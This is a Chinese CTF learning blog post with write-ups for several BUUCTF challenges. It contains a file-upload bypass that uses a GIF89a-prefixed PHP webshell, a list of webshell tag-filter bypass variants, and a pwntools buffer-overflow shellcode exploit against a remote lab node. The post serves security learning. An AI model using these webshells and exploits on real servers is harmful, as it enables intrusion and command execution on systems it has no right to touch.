当前位置: 首页 > article >正文

寒假1.25

题解

web:[极客大挑战 2019]Upload

打开环境

上传一个一句话木马试试

只能上传图片那就再上传一次,bp抓包修改type-content为image/jpeg试试

 不行

看来是文件后缀被绕过了,上传一个.html然后抓包改类型试试

上传成功了,但是提示‘<?’被过滤了……

去搜搜它的绕过方法

GIF89a
<script language="php">eval($_POST['shell']);</script>

成功上传

蚁剑连接

 即可在根目录找到flag

misc:[MRCTF2020]你能看懂音符吗

010打开,发现文件头前两位位置互换了,更改回来

解压得到一个docx文档

打开看看

全选更改文字颜色也没用,排除这种方法

右上角搜索隐藏,点击“显示/隐藏段落标记”

 用在线工具解密

但是一直粘贴不过来

用010打开.docx文档,发现存在PK文件的文件头,确认为zip文件

更改扩展名为.zip后解压

打开word文件的document文件,复制音符

用在线工具解密即可

crypto:世上无难事

VIZZB IFIUOJBWO NVXAP OBC XZZ UKHVN IFIUOJBWO HB XVIXW XAW VXFI X QIXN VBD KQ IFIUOJBWO WBKAH NBWXO VBD XJBCN NKG QLKEIU DI XUI VIUI DKNV QNCWIANQ XN DXPIMKIZW VKHV QEVBBZ KA XUZKAHNBA FKUHKAKX XAW DI VXFI HBN QNCWIANQ NCAKAH KA MUBG XZZ XEUBQQ XGIUKEX MUBG PKAWIUHXUNIA NVUBCHV 12NV HUXWI XAW DI XUI SCQN QB HZXW NVXN XZZ EBCZW SBKA CQ NBWXO XAW DI DXAN NB NVXAP DXPIMKIZW MBU JIKAH QCEV XA BCNQNXAWKAH VBQN HKFI OBCUQIZFIQ X JKH UBCAW BM XLLZXCQI XAW NVI PIO KQ 640I11012805M211J0XJ24MM02X1IW09

法一:使用工具quipqiup - cryptoquip and cryptogram solver进行暴力破解

将得到的key转换成小写形式即可

法二:仔细阅读题目,得到答案的位数为32、包含小写字母的信息,通过位数统计,可以确定最后一串字符为答案

reverse:[GUET-CTF2019]re

exeinfope查看,.elf文件,64位有壳

freeUPX脱壳后ida64打开,shift+f12查看字符串

双击查看函数

进入sub_400E28函数,f5反汇编

这里发现输出correct函数的是sub_4009AE函数 跟进sub_4009AE函数

看到这里很懵,然后就去看了大佬的wp,后面的a7那个部分没看明白,再看看,要是还不会就来问师姐

这里进行的运算是X*a1[n]!=Y 我们给它进行逆操作 就是a1[n]=Y//X

脚本:

 
Y_values = [  166163712, 731332800, 357245568, 1074393000, 489211344, 518971936,  406741500, 294236496, 177305856, 650683500, 298351053, 386348487,  438258597, 249527520, 445362764, 981182160, 174988800, 493042704,  257493600, 767478780, 312840624, 1404511500, 316139670, 619005024,  372641472, 373693320, 498266640, 452465676, 208422720, 515592000,  719890500  
]  X_values = [  1629056, 6771600, 3682944, 10431000, 3977328, 5138336,  7532250, 5551632, 3409728, 13013670, 6088797, 7884663,  8944053, 5198490, 4544518, 10115280, 3645600, 9667504,  5364450, 13464540, 5488432, 14479500, 6451830, 6252576,  7763364, 7327320, 8741520, 8871876, 4086720, 9374400,  5759124 
]  a = [chr(y // x) for y, x in zip(Y_values, X_values)]  print(''.join(a)) 

 但是因为a7不存在 我们需要0-9一个一个试值 最后试出来a7=1

故flag为flag{e165421110ba03099a1c039337}

pwn:ciscn_2019_n_5

exeinfope查看,64位无壳

ida64打开,查看主函数

有gets函数,查看text,存在溢出

我们再去看看name,然后发现name是bss段上的全局变量

又因为该题没有system("/bin/sh")的字样,所以我们可以向bss段写入shellcode拿到权限

shellcode = asm(shellcraft.sh())            #这个语句是生成shellcode,以便我们拿到权限

脚本:

from pwn import *
#p = process("C:\Users\aran\Desktop\rubbish\ciscn_2019_n_5")
p = remote('node5.buuoj.cn',29214)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
payload_1=asm(shellcraft.sh())
payload_2 = b'a'*(0x20+0x08)+p64(0x0601080)
p.sendlineafter(b'tell me your name\n',payload_1)
p.recv()
p.sendline(payload_2)
p.interactive()

知识点

web

标签过滤绕过方式

    <?php @eval($_POST['cmd']); ?>            //正常写法
 
<?=@eval($_POST['cmd']); ?>              //短标签,适合过滤php
 
<?=`cat /flag`?>   //短标签,``中间直接使用系统命令
 
    <% @eval($_POST['cmd']); %>               //asp风格
 
    <script language='php'>@eval($_POST['cmd']);</script>      //<script>风格,适合过滤<?

GIF89a:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

misc

要注意区分.zip文件和.rar文件文件头的区别(一开始半天没反应过来)

docx文件后缀更改为.zip后一般都可以正常解压,并在里面找到一些通过软件更改的信息

原因:docx文件本质上是一个ZIP格式的压缩包,它包含了构成Word文档的多个文件和文件夹。这些文件和文件夹以特定的结构组织,其中包含了文档的文本内容(通常保存在document.xml文件中)、图片(保存在media文件夹中)以及其他相关的资源和属性。

相关文章:

寒假1.25

题解 web:[极客大挑战 2019]Upload 打开环境 上传一个一句话木马试试 只能上传图片那就再上传一次&#xff0c;bp抓包修改type-content为image/jpeg试试 不行 看来是文件后缀被绕过了&#xff0c;上传一个.html然后抓包改类型试试 上传成功了&#xff0c;但是提示‘<&…...

28. 【.NET 8 实战--孢子记账--从单体到微服务】--简易报表--报表定时器与报表数据修正

这篇文章是《.NET 8 实战–孢子记账–从单体到微服务》系列专栏的《单体应用》专栏的最后一片和开发有关的文章。在这片文章中我们一起来实现一个数据统计的功能&#xff1a;报表数据汇总。这个功能为用户查看月度、年度、季度报表提供数据支持。 一、需求 数据统计方面&…...

C++/stack_queue

目录 1.stack 1.1stack的介绍 1.2stack的使用 练习题&#xff1a; 1.3stack的模拟实现 2.queue的介绍和使用 2.1queue的介绍 2.2queue的使用 2.3queue的模拟实现 3.priority_queue的介绍和使用 3.1priority_queue的介绍 3.2priority_queue的使用 欢迎 1.stack 1.1stack…...

【Java】微服务找不到问题记录can not find user-service

一、问题描述 运行网关微服务与用户微服务后&#xff0c;nacos服务成功注册 但是测试接口的时候网关没有找到相关服务 二、解决方案 我先检查了pom文件确定没问题后查看配置文件 最后发现是配置里spring.application.namexxx-user里面服务的名字后面多了一个空格 三、总结…...

QT:图像上绘制图形

需求描述 1、展示一张图像 2、在图像上可以使用数据绘制图像&#xff1a;矩形、不规则图形、线条 3、有按键可以选择 概要设计 规划布局如下 1、左边是Qlabel 用于展示图片 2、右边是三个按钮 具体实现 1、 首先设计 UI 界面&#xff0c;对控件进行布局 在 mainwindow.u…...

基于java线程池和EasyExcel实现数据异步导入

基于java线程池和EasyExcel实现数据异步导入 2.代码实现 2.1 controller层 PostMapping("import")public void importExcel(MultipartFile file) throws IOException {importService.importExcelAsync(file);}2.2 service层 Resource private SalariesListener sa…...

HPO3:提升模型性能的高效超参数优化工具

引言 在当今快速发展的数据科学和机器学习领域中&#xff0c;超参数优化&#xff08;Hyperparameter Optimization, HPO&#xff09;是构建高性能模型不可或缺的一环。为了简化这一复杂过程&#xff0c;恒通网络科技团队推出了HPO3模块——一个专为Python开发者设计的强大库&a…...

重回C语言之老兵重装上阵(十五)C语言错误处理

C语言错误处理 在C语言中&#xff0c;错误处理是非常重要的一部分。C语言没有像高级语言&#xff08;例如Python、Java&#xff09;那样内建的异常处理机制&#xff08;如try-catch&#xff09;&#xff0c;但它提供了几种方法来捕捉和处理错误。正确的错误处理可以提高程序的稳…...

使用国内镜像加速器解决 Docker Hub 拉取镜像慢或被屏蔽的问题

一、问题背景 Docker Hub 是 Docker 默认的镜像仓库&#xff0c;但由于网络限制&#xff0c;国内用户直接拉取镜像可能面临以下问题&#xff1a; 下载速度极慢&#xff08;尤其是大镜像&#xff09;。连接超时或完全被屏蔽&#xff08;部分网络环境&#xff09;。依赖国外源的…...

为AI聊天工具添加一个知识系统 之76 详细设计之17 正则表达式 之4 正则表达式模板

Q712、三“化” &#xff08;使用三种不同的定义方法&#xff1a;规定定义法 -线性回归/内涵定义法--一阶迭代/外延定义法--单调递归&#xff09; 整体形成 一个双人零和 的局面 <Class()外延式, Type()内涵式> Method()规定式。给出 问题“law 是什么”的三种答案&#…...

日志收集Day007

1.配置ES集群TLS认证: (1)elk101节点生成证书文件 cd /usr/share/elasticsearch ./bin/elasticsearch-certutil cert -out config/elastic-certificates.p12 -pass "" --days 3650 (2)elk101节点为证书文件修改属主和属组 chown elasticsearch:elasticsearch con…...

【Python】 使用pygame库实现新年烟花

祝大家金蛇衔财&#xff0c;蛇来运转 首先&#xff0c;确保你已经安装了 pygame 库。如果还没有安装&#xff0c;可以通过以下命令安装&#xff1a; pip install pygame接下来是烟花效果的 Python 代码&#xff1a; import pygame import random import math import sys# 初始…...

C语言中string.h头文件功能介绍

在C语言的世界里&#xff0c;string.h头文件提供了许多用于处理字符串和内存操作的函数。今天&#xff0c;我们就来深入探讨string.h头文件的功能、使用注意事项以及一些拓展应用。 一、功能介绍 string.h头文件定义了一系列用于操作字符串和内存的函数。这些函数可以分为几个…...

群晖docker获取私有化镜像http: server gave HTTP response to HTTPS client].

群晖docker获取私有化镜像提示http: server gave HTTP response to HTTPS clien 问题描述 层级时间用户事件Information2023/07/08 12:47:45cxlogeAdd image from xx.xx.31.240:1923/go-gitea/gitea:1.19.3Error2023/07/08 12:47:48cxlogeFailed to pull image [Get "http…...

react antd点击table单元格文字下载指定的excel路径

在使用 Ant Design (antd) 的 Table 组件时&#xff0c;如果想点击表格单元格中的文字来触发下载指定路径的 Excel 文件&#xff0c;可以通过以下步骤实现&#xff1a; 1. 确保有一个可供下载的 Excel 文件&#xff1a;需要有一个服务器端点或者一个可以直接访问的 URL&#xf…...

《哈佛家训》

《哈佛家训》是2010年由威廉贝纳德撰写&#xff0c;张玉翻译&#xff0c;在中国妇女出版社出版的专著。书中有许多富有哲理的故事&#xff0c;传达了诸多教育理念和人生智慧&#xff0c;以下是一些例子及相应启示&#xff1a; ### 眼界与格局方面 - **故事**&#xff1a;小伙子…...

ResNeSt: Split-Attention Networks论文学习笔记

这张图展示了一个名为“Split-Attention”的神经网络结构&#xff0c;该结构在一个基数组&#xff08;cardinal group&#xff09;内进行操作。基数组通常指的是在神经网络中处理的一组特征或通道。图中展示了如何通过一系列操作来实现对输入特征的注意力机制。 以下是图中各部…...

【matlab】绘图 离散数据--->连续函数

matlab绘图练习 离散数据及离散函数对离散区间进行细划分 达到连续效果画plot(y)图 与 复数的应用 离散数据及离散函数 例1 x1[1 2 4 6 7 8 10 11 12 14 16 17 18 20] y1[1 2 4 6 7 8 10 10 8 7 6 4 2 1] figure(1); plot(x1,y1,o,MarkerSize,15); x21:20; y2log(x2); figure…...

pyside6-uic form.ui -o ui_form.py 的作用

pyside6-uic form.ui -o ui_form.py 的作用 pyside6-uic form.ui -o ui_form.py 这个命令是用来将 .ui 文件转换为 Python 代码文件的工具。 具体作用&#xff1a; pyside6-uic&#xff1a;这是一个命令行工具&#xff0c;用于将用 Qt Designer 或其他图形界面工具创建的 .ui …...

Qt中QVariant的使用

1.使用QVariant实现不同类型数据的相加 方法&#xff1a;通过type函数返回数值的类型&#xff0c;然后通过setValue来构造一个QVariant类型的返回值。 函数&#xff1a; QVariant mainPage::dataPlus(QVariant a, QVariant b) {QVariant ret;if ((a.type() QVariant::Int) &a…...

基础项目实战——3D赛车(c++)

目录 前言一、渲染引擎二、关闭事件三、梯形绘制四、轨道绘制五、边缘绘制六、草坪绘制七、前后移动八、左右移动​九、曲线轨道​十、课山坡轨道​十一、循环轨道​十二、背景展示​十三、引入速度​十四、物品绘制​十五、课数字路障​十六、分数展示​十七、重新生成​十八、…...

【SpringBoot教程】Spring Boot + MySQL + HikariCP 连接池整合教程

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 在前面一篇文章中毛毛张介绍了SpringBoot中数据源与数据库连接池相关概念&#xff0c;今天毛毛张要分享的是关于SpringBoot整合HicariCP连接池相关知识点以及底层源码…...

每日一题 430. 扁平化多级双向链表

430. 扁平化多级双向链表 简单 /*class Solution { public:Node* flatten(Node* head) {Node* tail nullptr;return dfs(head);}Node* dfs(Node* head){Node* cur head;while(cur ! nullptr){if(cur->child ! nullptr){Node* curChild getTail(cur->child);Node* te…...

vue3表格数据分2个表格序号连续展示

一、el-table表格在弹窗里面分两个表格展示。 假设我们有一个数组 tableData&#xff0c;我们希望在第一个表格中展示前半部分的数据&#xff0c;第二个表格中展示后半部分的数据。 <template><el-button type"primary" click"dialogVisible true&q…...

【愚公系列】《循序渐进Vue.js 3.x前端开发实践》027-组件的高级配置和嵌套

标题详情作者简介愚公搬代码头衔华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,亚马逊技领云博主,51CTO博客专家等。近期荣誉2022年度…...

一文讲解Java中Object类常用的方法

在Java中&#xff0c;经常提到一个词“万物皆对象”&#xff0c;其中的“万物”指的是Java中的所有类&#xff0c;而这些类都是Object类的子类&#xff1b; Object主要提供了11个方法&#xff0c;大致可以分为六类&#xff1a; 对象比较&#xff1a; public native int has…...

操作系统之输入输出

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/literature?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;…...

【Convex Optimization Stanford】Lec3 Function

【Convex Optimization Stanford】Lec3 Function 前言凸函数的定义对凸函数在一条线上的限制增值扩充&#xff1f; 一阶条件二阶条件一些一阶/二阶条件的例子象集和sublevel set关于函数凸性的扩展&#xff08;Jesen Inequality)保持函数凸性的操作非负加权和 & 仿射函数的…...

【Linux探索学习】第二十七弹——信号(一):Linux 信号基础详解

Linux学习笔记&#xff1a; https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言&#xff1a; 前面我们已经将进程通信部分讲完了&#xff0c;现在我们来讲一个进程部分也非常重要的知识点——信号&#xff0c;信号也是进程间通信的一…...

SpringBoot或SpringAI对接DeekSeek大模型

今日除夕夜&#xff0c;deepseek可是出尽了风头&#xff0c;但是我看网上还没有这方面的内容对接&#xff0c;官网也并没有&#xff0c;故而本次对接是为了完成这个空缺 我看很多的博客内容是流式请求虽然返回时正常的&#xff0c;但是他并不是实时返回&#xff0c;而是全部响应…...